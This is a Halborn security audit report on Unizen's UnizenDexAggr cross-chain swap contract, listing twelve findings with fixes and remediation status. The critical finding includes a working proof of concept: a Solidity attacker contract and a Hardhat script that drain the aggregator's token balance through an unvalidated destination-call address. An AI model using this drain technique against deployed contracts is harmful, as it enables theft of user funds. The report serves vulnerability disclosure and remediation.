HALBORN

Unizen - DexAggregator

Smart Contract Security Audit

Prepared by: **Halborn**

Date of Engagement: **August 29th, 2022 - September 9th, 2022**

Visit: **Halborn.com**

DOCUMENT REVISION HISTORY 5
CONTACTS 5
1 EXECUTIVE OVERVIEW 6
1.1 INTRODUCTION 7
1.2 AUDIT SUMMARY 7
1.3 TEST APPROACH & METHODOLOGY 8
RISK METHODOLOGY 8
1.4 SCOPE 10
2 ASSESSMENT SUMMARY & FINDINGS OVERVIEW 11
3 FINDINGS & TECH DETAILS 12
3.1 (HAL-01) DRAIN ALL CONTRACT TOKENS - CRITICAL 14
Description 14
Code Location 14
Risk Level 17
Proof Of Concept 17
Recommendation 20
Remediation Plan 21
3.2 (HAL-02) UNSAFE MAX ALLOWANCE FOR EVERY EXCHANGE AND BRIDGE - LOW 22
Description 22
Code Location 22
Risk Level 23
Recommendation 24
References 24
Remediation Plan 24

3.3 (HAL-03) IMPROPER CHECK OF ALLOWANCE MAY LEAD TO REVERT - LOW 25
Description 25
Code Location 25
Risk Level 26
Recommendation 26
Remediation Plan 26
3.4 (HAL-04) LAYERZERO BEST PRACTICES NOT FULFILLED - INFORMATIONAL 27
Description 27
Risk Level 27
Recommendation 27
Remediation Plan 27
3.5 (HAL-05) NO REFUND MECHANISM - LOW 28
Description 28
Risk Level 28
Recommendation 28
Remediation Plan 28
3.6 (HAL-06) UNINTENDED FLASH LOAN FUNCTIONALITY - INFORMATIONAL 29
Description 29
Code Location 29
Risk Level 30
Recommendation 30
Remediation Plan 30
3.7 (HAL-07) SOURCE ADDRESS NOT VALIDATED ON sgReceive FUNCTION - INFORMATIONAL 31
Description 31

Code Location 31
Risk Level 31
Recommendation 32
Remediation Plan 32
3.8 (HAL-08) VARIABLE AND SETTER NOT REQUIRED - INFORMATIONAL 33
Description 33
Code Location 33
Risk Level 33
Recommendation 33
Remediation Plan 34
3.9 (HAL-09) USE CALLDATA INSTEAD OF MEMORY - INFORMATIONAL 35
Description 35
Risk Level 35
Code Location 36
Recommendation 37
Remediation Plan 37
3.10 (HAL-10) UPGRADEABLE CONTRACT ARE MISSING A GAP[50] - INFORMATIONAL 38
Description 38
Risk Level 38
Recommendation 38
Remediation Plan 38
3.11 (HAL-11) USE DISABLEINITIALIZERS IN THE UPGRADABLE CONTRACTS - INFORMATIONAL 39
Description 39
Risk Level 39
Code Location 39

Recommendation 40

Remediation Plan 40

3.12 (HAL-12) INCOMPLETE NATSPEC DOCUMENTATION - INFORMATIONAL 41

Description 41

Risk Level 41

Recommendation 41

Remediation Plan 41

DOCUMENT REVISION HISTORY

VERSION	MODIFICATION	DATE	AUTHOR
0.1	Document Creation	08/30/2022	Luis Buendia
0.2	Document Additions	09/08/2022	Luis Buendia
0.3	Document Additions	09/12/2022	Luis Buendia
0.4	Draft Review	09/13/2022	Gabi Urrutia
1.0	Remediation Plan	09/21/2022	Luis Buendia
1.1	Remediation Plan Review	09/21/2022	Gabi Urrutia

CONTACTS

CONTACT	COMPANY	EMAIL
Rob Behnke	Halborn	Rob.Behnke@halborn.com
Steven Walbroehl	Halborn	Steven.Walbroehl@halborn.com
Gabi Urrutia	Halborn	Gabi.Urrutia@halborn.com
Luis Buendia	Halborn	Luis.Buendia@halborn.com

EXECUTIVE OVERVIEW

1.1 INTRODUCTION

Unizen engaged Halborn to conduct a security audit on their smart contracts beginning on August 29th, 2022 and ending on {endDate}. The security assessment was scoped to the smart contracts provided to the Halborn team.

1.2 AUDIT SUMMARY

The team at Halborn was provided two weeks for the engagement and assigned a full-time security engineer to audit the security of the smart contract. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this audit is to:

- Ensure that smart contract functions operate as intended
- Identify potential security issues with the smart contracts

The audited contracts forward messages, tokens and cryptocurrencies through different blockchains, using the Stargate and LayerZero implementations.

During the testing phase, it has not been possible to perform a complete dynamic testing due to the complexity of deploying a suitable environment. For the LayerZero transaction, it has been possible to use the LayerZeroMock contract that emulates the behavior using a single chain. However, Stargate does not offer this possibility. Several approaches were studied to solve the issue. Otherwise, none of them achieved a good solution.

The audit revealed an important security risk due to a lack of validation in one of the parameters exchanged across blockchains. On the other hand, fixing this, as indicated on the report, is trivial. The other identified

issues are of low criticality or informative. Although it has not been found any exploitation for them, it is still recommended to study the issues in depth to lower the risk and avoid any security implication.

In summary, Halborn identified some security risks that were mostly addressed by the Unizen team.

1.3 TEST APPROACH & METHODOLOGY

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this audit. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the contracts' solidity code and can quickly identify items that do not follow security best practices. The following phases and associated tools were used throughout the term of the audit:

- Research into architecture and purpose.
- Smart contract manual code review and walkthrough.
- Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes.
- Manual testing by custom scripts. (Hardhat).
- Static Analysis of security for scoped contract, and imported functions manually.
- Testnet deployment (Ganache).

RISK METHODOLOGY:

Vulnerabilities or issues observed by Halborn are ranked based on the risk assessment methodology by measuring the **LIKELIHOOD** of a security incident and the **IMPACT** should an incident occur. This framework works for communicating the characteristics and impacts of technology vulnerabilities. The quantitative model ensures repeatable and accurate measurement while

enabling users to see the underlying vulnerability characteristics that were used to generate the Risk scores. For every vulnerability, a risk level will be calculated on a scale of 5 to 1 with 5 being the highest likelihood or impact.

RISK SCALE - LIKELIHOOD

5 - Almost certain an incident will occur.
4 - High probability of an incident occurring.
3 - Potential of a security incident in the long term.
2 - Low probability of an incident occurring.
1 - Very unlikely issue will cause an incident.

RISK SCALE - IMPACT

5 - May cause devastating and unrecoverable impact or loss.
4 - May cause a significant level of impact or loss.
3 - May cause a partial impact or loss to many.
2 - May cause temporary impact or loss.
1 - May cause minimal or un-noticeable impact.

The risk level is then calculated using a sum of these two values, creating a value of 10 to 1 with 10 being the highest level of security risk.

10 - CRITICAL
9 - 8 - HIGH
7 - 6 - MEDIUM
5 - 4 - LOW
3 - 1 - VERY LOW AND INFORMATIONAL

1.4 SCOPE

IN-SCOPE:
The security assessment was scoped to the following smart contracts:

- UnizenDexAggr.sol

Commit ID: f69a6cbe219417bd1b40737ab249e35fc9dce19c

2. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
1	0	0	3	8

LIKELIHOOD

IMPACT

				(HAL-01)
(HAL-02) (HAL-03)				
(HAL-08) (HAL-09)				
(HAL-04) (HAL-07) (HAL-10) (HAL-11) (HAL-12)	(HAL-06)	(HAL-05)		

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
HAL-01 - DRAIN ALL CONTRACT TOKENS	Critical	SOLVED - 09/19/2022
HAL-02 - UNSAFE MAX ALLOWANCE FOR EVERY EXCHANGE AND BRIDGE	Low	SOLVED - 09/19/2022
HAL-03 - IMPROPER CHECK OF ALLOWANCE MAY LEAD TO REVERT	Low	SOLVED - 09/19/2022
HAL-04 - LAYERZERO BEST PRACTICES NOT FULFILLED	Informational	ACKNOWLEDGED
HAL-05 - NO REFUND MECHANISM	Informational	ACKNOWLEDGED
HAL-06 - UNINTENDED FLASH LOAN FUNCTIONALITY	Informational	ACKNOWLEDGED
HAL-07 - SOURCE ADDRESS NOT VALIDATED ON sgReceive FUNCTION	Informational	ACKNOWLEDGED
HAL-08 - VARIABLE AND SETTER NOT REQUIRED	Informational	SOLVED - 09/19/2022
HAL-09 - USE CALLDATA INSTEAD OF MEMORY	Informational	ACKNOWLEDGED
HAL-10 - UPGRADEABLE CONTRACT ARE MISSING A GAP[50]	Informational	ACKNOWLEDGED
HAL-11 - USE DISABLEINITIALIZERS IN THE UPGRADABLE CONTRACTS	Informational	ACKNOWLEDGED
HAL-12 - INCOMPLETE NATSPEC DOCUMENTATION	Informational	ACKNOWLEDGED

FINDINGS & TECH DETAILS

3.1 (HAL-01) DRAIN ALL CONTRACT TOKENS - CRITICAL

Description:

The functions lzReceive and sgReceive of the UnizenDexAggr contract do not validate the addresses forwarded inside the payload parameter. This sets the maximum allowance of the used token to an arbitrary address provided by the user on the swapLZ or swapSTG functions dstCalls parameter. Allowing a user to move all the tokens to the arbitrary address by using the safetransferFrom function from the contract address supplied.

The payload parameter depending on which function contains two to three variables when decoded. However, in both of them, there is a common data structure. The data structure is a SwapCall array. The SwapCall data structure contains three variables, these are: targetExchange, amount and data.

The targetExchange of the calls array on both functions is validated to be on the whitelist of the contract. Othwerwise, the dstCalls addresses are not validated, nor in the send or receive functions.

In theory, the contract will only contain tokens in two cases. When Stargate fails and the usage of LayerZero is the only viable option for token transfer. Or when Stargate transfer fails and the tokens are returned to the aggregator contract. In any of those scenarios, the tokens stored on the contract can be compromised by threat actors.

Code Location:

UnizenDexAggr Contract

Listing 1: UnizenDexAggr.sol

```
352     // receive the bytes payload from the source chain via
 ↳ LayerZero
353     // _srcChainId: the chainId that we are receiving the message
```

```
 ↳ from.
354     // _fromAddress: the source PingPong address
355     function lzReceive(
356         uint16 _srcChainId,
357         bytes memory _fromAddress,
358         uint64, /*_nonce*/
359         bytes memory _payload
360     ) external override {
361         require(msg.sender == address(layerZeroEndpoint), "Only-lz
 ↳ -endpoint"); // boilerplate! lzReceive must be called by the
 ↳ endpoint for security
362         bytes memory trustedRemote = trustedRemoteLookup[
 ↳ _srcChainId];
363         require(
364             _fromAddress.length == trustedRemote.length &&
365                 keccak256(_fromAddress) == keccak256(trustedRemote
 ↳ ),
366             "Only-trusted-remote"
367         );
368         //    bytes memory payload = abi.encode(
369         //         (bridgeAmount * 10**chainStableDecimal[swapInfo
 ↳ .dstChain]) /
370         //             10**stableDecimal,
371         //         msg.sender,
372         //         dstCalls
373         //     );
374         (uint256 amount, address user, SwapCall[] memory dstCalls)
 ↳  = abi.decode(
375             _payload,
376             (uint256, address, SwapCall[])
377         );
378 
379         if (dstCalls.length == 0) {
380             // user doesnt want to swap, want to take stable
381             IERC20(stable).safeTransfer(user, amount);
382             return;
383         }
384         uint256 balanceStableBefore = IERC20(stable).balanceOf(
 ↳ address(this));
385         for (uint8 i = 0; i < dstCalls.length; i++) {
386             require(dstCalls[i].amount != 0, "Invalid-trade-amount
 ↳ ");
387             if (
388                 IERC20(stable).allowance(
```

```
389                     address(this),
390                     dstCalls[i].targetExchange
391                 ) == 0
392             ) {
393                 IERC20(stable).approve(
394                     dstCalls[i].targetExchange,
395                     type(uint256).max
396                 );
397             }
398             _executeTrade(dstCalls[i].targetExchange, 0, dstCalls[
 ↳ i].data);
399         }
```

UnizenDexAggr Contract

Listing 2: UnizenDexAggr.sol

```
414     // sgReceive() - the destination contract must implement this
 ↳ function to receive the tokens and payload
415     function sgReceive(
416         uint16 _chainId,
417         bytes memory _srcAddress,
418         uint256 _nonce,
419         address _token,
420         uint256 amountLD,
421         bytes memory payload
422     ) external override {
423         require(msg.sender == address(stargateRouter), "Only-
 ↳ Stargate-Router");
424         (address user, SwapCall[] memory dstCalls) = abi.decode(
425             payload,
426             (address, SwapCall[])
427         );
428         if (dstCalls.length == 0) {
429             // user doesnt want to swap, want to take stable
430             IERC20(_token).safeTransfer(user, amountLD);
431             return;
432         }
433         uint256 balanceStableBefore = IERC20(_token).balanceOf(
 ↳ address(this));
434         for (uint8 i = 0; i < dstCalls.length; i++) {
435             require(dstCalls[i].amount != 0, "Invalid-trade-amount
 ↳ ");
```

```
436             if (
437                 IERC20(_token).allowance(
438                     address(this),
439                     dstCalls[i].targetExchange
440                 ) == 0
441             ) {
442                 IERC20(_token).approve(
443                     dstCalls[i].targetExchange,
444                     type(uint256).max
445                 );
446             }
447             _executeTrade(dstCalls[i].targetExchange, 0, dstCalls[
 ↳ i].data);
448         }
```

Risk Level:

Likelihood - 5
Impact - 5

Proof Of Concept:

For the proof of concept of this vulnerability, the smart contract MyExchange.sol has been programmed along with the hardhat script hal-01.js.

Listing 3: MyExchange.sol

```
1  pragma solidity 0.8.12;
2
3  import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
4  import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
5
6  contract MyExchange {
7
8      using SafeERC20 for IERC20;
9
10     address public dexaggr;
11     address public stable;
12
```

```
13      constructor(address _dexaggr, address _stable) {
14          dexaggr = _dexaggr;
15          stable = _stable;
16      }
17
18      function exchange() public {
19          IERC20(stable).transferFrom( dexaggr, address(this),
↳ IERC20(stable).balanceOf(dexaggr) );
20      }
21
22      fallback() external {}
23  }
```

The JavaScript PoC can be observed below.

Listing 4: hal-01.js

```
1  const { ethers } = require("hardhat");
2
3  async function main() {
4
5      dexaggrSrc = await ethers.getContractAt('UnizenDexAggr', '0
↳ x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0');
6      dexaggrDst = await ethers.getContractAt('UnizenDexAggr', '0
↳ xCf7Ed3AccA5a467e9e704C703E8D87F634fB0Fc9');
7      lzendpointSrc = await ethers.getContractAt('LZEndpointMock', '
↳ 0x0165878A594ca255338adfa4d48449f69242Eb8F');
8      lzendpointDst = await ethers.getContractAt('LZEndpointMock', '
↳ 0xa513E6E4b8f2a923D98304ec87F64353C4D5C853');
9      usdc = await ethers.getContractAt('USDC', '0
↳ xDc64a140Aa3E981100a9becA4E685f962f0cF6C9');
10     dai = await ethers.getContractAt('DAI', '0
↳ x5FC8d32690cc91D4c39d9d3abcBD16989F875707');
11     myex = await ethers.getContractAt('MyExchange', '0
↳ xa85233c63b9ee964add6f2cffe00fd84eb32338f');
12
13     toEth = ethers.utils.parseEther;
14
15     destChain = 2;
16     isFromNative = false;
17     amount = toEth('10');
18     nativeFee = toEth('1');
19     srcToken = usdc.address;
```

```
20      adapterParams =  ethers.utils.formatBytes32String("");
21
22      swapInfo = [ destChain, isFromNative, amount, nativeFee,
↳ srcToken, adapterParams ];
23      swapCall = [ myex.address, 1, ethers.utils.formatBytes32String
↳ ("")  ];
24
25      await dai.transfer( dexaggrDst.address, toEth("10000") );
26      await usdc.approve( dexaggrSrc.address, toEth("100") );
27
28      console.log('\tBalance of DexAggrDst: ', (await dai.balanceOf(
↳ dexaggrDst.address)).toString());
29      console.log('\tBalance of MyExchange: ', (await dai.balanceOf(
↳ myex.address)).toString());
30
31      console.log('\n[+] Exchaing funds to destination...');
32      await dexaggrSrc.swapLZ(swapInfo, [], [swapCall], {value:
↳ toEth('1')});
33      console.log('[+] Stealing Funds....');
34      await myex.exchange();
35
36      console.log('\n\tBalance of DexAggrDst: ', (await dai.
↳ balanceOf(dexaggrDst.address)).toString());
37      console.log('\tBalance of MyExchange: ', (await dai.balanceOf(
↳ myex.address)).toString());
38  }
39
40  main().catch((error) => {
41      console.error(error);
42      process.exitCode = 1;
43  });
44
```

Pre-conditions for successful exploitation:

1. Deploy the DexAggregator contracts with the adequate arguments.
2. Deploy the LzEndpointMock with the adequate arguments.
3. Deploy the stable token contracts that each aggregator require.
4. Deploy the MyExchage contract with the adequate arguments.
5. Fund the DexAggregator that will be used as destination.

The exploitation steps are:

1. Call the function swapLZ or swapSTG with the dstCalls structure having the address of MyExchange.sol contract.
2. Call the exchange function of the MyExchange.sol contract.

At this point, the balance of the MyExchange.sol contract should be all the previous balance that the DexAggregator previously had.

Recommendation:

In order to mitigate this vulnerability, it is needed to validate the address of the targetExchange variable on the function lzReceive and sgReceive.

Listing 5: (Lines 4,5,6,7)

```
1         uint256 balanceStableBefore = IERC20(_token).balanceOf(
↳ address(this));
2         for (uint8 i = 0; i < dstCalls.length; i++) {
3             require(dstCalls[i].amount != 0, "Invalid-trade-amount
↳ ");
4             require(
5                 isWhiteListedDex(dstCalls[i].targetExchange),
6                 "Not-verified-dex"
7             );
8             if (
9                 IERC20(_token).allowance(
10                    address(this),
11                    dstCalls[i].targetExchange
12                ) == 0
13            ) {
14                IERC20(_token).approve(
15                    dstCalls[i].targetExchange,
16                    type(uint256).max
17                );
18            }
19            _executeTrade(dstCalls[i].targetExchange, 0, dstCalls[
↳ i].data);
20        }
```

Remediation Plan:

SOLVED: The Unizen team fixed the above issue in the commit ID f82c341f13785f001f724d2f618216fea0327f71.

3.2 (HAL-02) UNSAFE MAX ALLOWANCE FOR EVERY EXCHANGE AND BRIDGE - LOW

Description:

The UnizenDexAggr smart contract set maximum allowance if its value is zero for a given token contract, to both exchanges, Stargate and LayerZero router contracts. Although this improves the user experience and reduce the gas cost also exposes a security risk by trusting the exchanges.

This practice has been exploited in the wild already. Although the probability of this to happen is minimal, from a security perspective, it is important to reduce as much as possible the threats caused by third-party software.

Code Location:

UnizenDexAggr Contract

Listing 6: UnizenDexAggr.sol (Line 101)

```
92     function setStableAddress(address stableAddr, uint16 decimal)
93         external
94         onlyOwner
95     {
96         require(stableAddr != address(0), "Invalid-address");
97         require(stargateRouter != address(0), "Not-set-STG-Router"
 ↳ );
98         stable = stableAddr;
99         stableDecimal = decimal;
100        if (IERC20(stable).allowance(address(this), stargateRouter
 ↳ ) == 0) {
101            IERC20(stable).approve(stargateRouter, type(uint256).
 ↳ max);
102        }
103    }
```

UnizenDexAggr Contract

Listing 7: UnizenDexAggr.sol (Lines 176,177,178)

```
168     if (
169         !swapInfo.isFromNative &&
170         IERC20(swapInfo.srcToken).allowance(
171             address(this),
172             calls[i].targetExchange
173         ) ==
174         0
175     ) {
176         IERC20(swapInfo.srcToken).approve(
177             calls[i].targetExchange,
178             type(uint256).max
179         );
180     }
```

UnizenDexAggr Contract

Listing 8: UnizenDexAggr.sol (Lines 513,514,515)

```
507     if (
508         IERC20(info.srcToken).allowance(
509             address(this),
510             calls[i].targetExchange
511         ) == 0
512     ) {
513         IERC20(info.srcToken).approve(
514             calls[i].targetExchange,
515             type(uint256).max
516         );
517     }
```

Risk Level:

Likelihood - 1

Impact - 3

Recommendation:

Do not set the allowance to maximum value. Although it is understandable that in this particular case is used as a gas optimization technique, it also increases the security risk. If the allowed contract expose a vector that allows third parties to abuse the safeTransferFrom function, the tokens stored in the DexAggregatorcontract can be transferred.

The recommendation is to just allow the required amounts when needed.

References:

Unlimited ERC20 allowances considered harmful

Remediation Plan:

SOLVED: The Unizen team fixed the above issue on the commit ID f82c341f13785f001f724d2f618216fea0327f71.

However, it is still recommended not to give Stargate maximum allowance.

3.3 (HAL-03) IMPROPER CHECK OF ALLOWANCE MAY LEAD TO REVERT - LOW

Description:

The current allowance check just checks if the allowance amount is zero. However, it is also possible that the amount to transfer is bigger than the allowance, being the allowance bigger than zero.

On the other hand, it is important to consider that this situation is unlikely, as the maximum allowance currently set the first time is 2**256. For this situation to happen, it would be required a huge amount of transactions.

Code Location:

UnizenDexAggr Contract

Listing 9: UnizenDexAggr.sol (Lines 176,177,178)

```
168     if (
169         !swapInfo.isFromNative &&
170         IERC20(swapInfo.srcToken).allowance(
171             address(this),
172             calls[i].targetExchange
173         ) ==
174         0
175     ) {
176         IERC20(swapInfo.srcToken).approve(
177             calls[i].targetExchange,
178             type(uint256).max
179         );
180     }
```

UnizenDexAggr Contract

Listing 10: UnizenDexAggr.sol (Lines 513,514,515)

```
507     if (
508         IERC20(info.srcToken).allowance(
509             address(this),
510             calls[i].targetExchange
511         ) == 0
512     ) {
513         IERC20(info.srcToken).approve(
514             calls[i].targetExchange,
515             type(uint256).max
516         );
517     }
```

Risk Level:

Likelihood - 1
Impact - 3

Recommendation:

Check if the amount to transfer is bigger than the actual allowance to prevent the transaction from reverting.

It is important to remark that this recommendation is not optimal regarding gas consumption. It adds an extra check to every transaction. It may be possible to explore better solutions in terms of performance.

Remediation Plan:

SOLVED: The Unizen team fixed the above issue on the commit ID f82c341f13785f001f724d2f618216fea0327f71.

3.4 (HAL-04) LAYERZERO BEST PRACTICES NOT FULFILLED - INFORMATIONAL

Description:

LayerZero explains in the documentation some best practices that are advised to follow to guarantee the proper usage of their system. The recommended best practices not currently fulfilled by the DexAggregator contract are:

- Tracking the Nonce
- Stored Failed Messages

Risk Level:

Likelihood - 1
Impact - 1

Recommendation:

Although tracking the Nonces as discussed with the **Unizen** team may not be required for the DexAggregator contract, storing failed messages may be an interesting practice as it is not considered in the current source code.

Moreover, it is recommended to use the quoteLayerZero as stated on the Stargate documentation to calculate the gas fees.

Remediation Plan:

ACKNOWLEDGED: The Unizen team acknowledged this issue.

3.5 (HAL-05) NO REFUND MECHANISM - LOW

Description:

The current DexAggregator contract does not contemplate the possibility of failure from Stargate or LayerZero where the tokens can be refunded back to the contract. This can happen because of an issue on any of the bridges or a miss configured parameter on when swapping through chains.

Thus, allowing the users to retrieve the tokens from the contract in case of failure can be an implementation to consider avoiding the usage of the centralized function recoverAsset.

Risk Level:

Likelihood - 3
Impact - 1

Recommendation:

Consider implementing the functionality of allowing users to retrieve the funds in case of failure.

Remediation Plan:

ACKNOWLEDGED: The Unizen team acknowledged this issue.

3.6 (HAL-06) UNINTENDED FLASH LOAN FUNCTIONALITY - INFORMATIONAL

Description:

The functions lzReceive and sgReceive do not validate the data parameter inside the payload argument. Inline with the maximum allowance, it creates the possibility of using all the DexAggregator contract balance in the dstCalls transactions.

However, as the total balance is checked afterwards, it is not possible to drain all the tokens on the transactions without returning them. Thus creating a flash loan functionality at interest rate zero.

Nevertheless, this assumes the contract has balance of the specified token. As described before, this can only happen on two different situations.

Code Location:

UnizenDexAggr Contract

Listing 11: UnizenDexAggr.sol (Line 399)

```
386     for (uint8 i = 0; i < dstCalls.length; i++) {
387         require(dstCalls[i].amount != 0, "Invalid-trade-amount");
388         if (
389             IERC20(stable).allowance(
390                 address(this),
391                 dstCalls[i].targetExchange
392             ) == 0
393         ) {
394             IERC20(stable).approve(
395                 dstCalls[i].targetExchange,
396                 type(uint256).max
397             );
398         }
399         _executeTrade(dstCalls[i].targetExchange, 0, dstCalls[i].
 ↳ data);
```

```
400     }
```

Risk Level:

Likelihood - 2
Impact - 1

Recommendation:

Although the balance after the transactions is thoroughly checked, and it does not imply any security risk, as a security advisory, it is important to mention this feature and let the client decide how to deal with this.

It may be complex to verify the amount of tokens that the data parameter contains for each different exchange.

Remediation Plan:

ACKNOWLEDGED: The Unizen team acknowledged this finding.

3.7 (HAL-07) SOURCE ADDRESS NOT VALIDATED ON sgReceive FUNCTION - INFORMATIONAL

Description:

The sgReceive function does not validate the _srcAddress argument with a trusted remote address, as the lzReceive function does.

Code Location:

UnizenDexAggr Contract

Listing 12: UnizenDexAggr.sol

```
231     function swapSTG(
232         CrossChainSwapSg memory swapInfo,
233         SwapCall[] memory calls,
234         SwapCall[] memory dstCalls
235     ) external payable nonReentrant {
236         require(
237             poolToStableAddr[swapInfo.srcPool] != address(0),
238             "Invalid-pool-Id"
239         );
240         uint256 balanceStableBefore = IERC20(poolToStableAddr[
 ↳ swapInfo.srcPool])
241             .balanceOf(address(this));
```

Risk Level:

Likelihood - 1
Impact - 1

Recommendation:

Although it seems not to imply any useful exploitation, if the system design pattern is to communicate with others DexAggregators, it is recommended to ensure the intended functionality to avoid possible miss usage of the dApp.

Remediation Plan:

ACKNOWLEDGED: The Unizen team acknowledged this finding.

3.8 (HAL-08) VARIABLE AND SETTER NOT REQUIRED - INFORMATIONAL

Description:

The global state public variable amm is no longer used in this version of the DexAggregator contract. Public variables along with their setters and getters increment the contract size and increase the deployment gas cost.

Code Location:

UnizenDexAggr Contract

Listing 13: UnizenDexAggr.sol

```
35     address public amm;
```

Listing 14: UnizenDexAggr.sol

```
82     function setAmm(address _amm) external onlyOwner {
83         require(_amm != address(0), "Invalid-address");
84         amm = _amm;
85     }
```

Risk Level:

Likelihood - 1
Impact - 2

Recommendation:

Consider removing the amm global variable along with the setter function.

Remediation Plan:

SOLVED: The Unizen team fixed the above issue in the commit ID f82c341f13785f001f724d2f618216fea0327f71.

3.9 (HAL-09) USE CALLDATA INSTEAD OF MEMORY - INFORMATIONAL

Description:

When a function with a `memory` array is called externally, the `abi.decode()` step has to use a for-loop to copy each index of the `calldata` to the `memory` index. Each iteration of this for-loop costs at least 60 gas (i.e. `60 * <mem_array>.length`). Using `calldata` directly, obviates the need for such a loop in the contract code and runtime execution.

If the array is passed to an `internal` function which passes the array to another internal function where the array is modified and therefore `memory` is used in the `external` call, it's still more gas-efficient to use `calldata` when the `external` function uses modifiers, since the modifiers may prevent the internal functions from being called. Structs have the same overhead as an array of length one.

The current arguments that can use the calldata attribute on the contracts are:

- On swapLZ function, calls and dstCalls.
- On lzReceive function _fromAddress and _payload.
- On sgReceive function _srcAddress.
- On setConfig function _config.
- All the arguments of swap function.

In a contract with these optimizations using the `PoC` described on HAL-01 when calling the `swapLZ` function, it consumed **239958** of gas against **241712** without the optimization.

Risk Level:

Likelihood - 1
Impact - 2

Code Location:

UnizenDexAggr Contract

Listing 15: UnizenDexAggr.sol

```
35     function swapLZ(
36         CrossChainSwapLz memory swapInfo,
37         SwapCall[] memory calls,
38         SwapCall[] memory dstCalls
39     ) external payable nonReentrant {
```

UnizenDexAggr Contract

Listing 16: UnizenDexAggr.sol

```
355     function lzReceive(
356         uint16 _srcChainId,
357         bytes memory _fromAddress,
358         uint64, /*_nonce*/
359         bytes memory _payload
360     ) external override {
```

UnizenDexAggr Contract

Listing 17: UnizenDexAggr.sol

```
416     function sgReceive(
417         uint16 _chainId,
418         bytes memory _srcAddress,
419         uint256 _nonce,
420         address _token,
421         uint256 amountLD,
422         bytes memory payload
423     ) external override {
```

UnizenDexAggr Contract

Listing 18: UnizenDexAggr.sol

```
463     function setConfig(
464         uint16, /*_version*/
465         uint16 _dstChainId,
466         uint256 _configType,
467         bytes memory _config
468     ) external override onlyOwner {
```

Recommendation:

Consider using **calldata** instead of **memory**.

Remediation Plan:

ACKNOWLEDGED: The Unizen team acknowledged this finding.

3.10 (HAL-10) UPGRADEABLE CONTRACT ARE MISSING A GAP[50] - INFORMATIONAL

Description:

Upgradeable contracts are missing a **__gap[50]** storage variable to allow for new storage variables in later versions. While some contracts may not currently be sub-classed, adding the variable now protects against forgetting to add it in the future.

Risk Level:

Likelihood - 1
Impact - 1

Recommendation:

Consider adding **__gap[50]** storage variable. Detailed explanation can be seen from Openzeppelin

Remediation Plan:

ACKNOWLEDGED: The Unizen team acknowledged this finding.

3.11 (HAL-11) USE DISABLEINITIALIZERS IN THE UPGRADABLE CONTRACTS - INFORMATIONAL

Description:

In the proxy pattern, an uninitialized implementation contract can be initialized by someone else taking over the contract. Even if it does not affect the proxy contracts, it's a good practice to initialize them yourself to prevent any mishap against unseen vulnerabilities.

Risk Level:

Likelihood - 1
Impact - 1

Code Location:

Location

Listing 19: UnizenDexAggr.sol

```
47     function initialize() public initializer {
48         __UnizenDexAggr_init();
49     }
50
51     function __UnizenDexAggr_init() internal onlyInitializing {
52         __Controller_init_();
53         __ReentrancyGuard_init();
54         dstGas = 500000; // 500k gas for destination chain
↳ execution as default
55     }
```

Recommendation:

For the deployed contracts, execute the initialize() functions on the implementation contracts. There's a risk that they might be front run, but it's less likely since they are still uninitialized, and the front-runner is not directly benefiting from executing the transaction itself. For future, consider calling OZ's _disableInitializers() in the implementation contract's constructor. Use the same name for both arguments.

Remediation Plan:

ACKNOWLEDGED: The Unizen team acknowledged this finding.

3.12 (HAL-12) INCOMPLETE NATSPEC DOCUMENTATION - INFORMATIONAL

Description:

Natspec documentation are useful for internal developers that need to work on the project, external developers that need to integrate with the project, auditors that have to review it but also for end users given that Snowtrace has officially integrated the support for it directly on their site.

Risk Level:

Likelihood - 1
Impact - 1

Recommendation:

Consider adding the missing **natspec** documentation.

Remediation Plan:

ACKNOWLEDGED: The Unizen team acknowledged this finding.

THANK YOU FOR CHOOSING

// HALBORN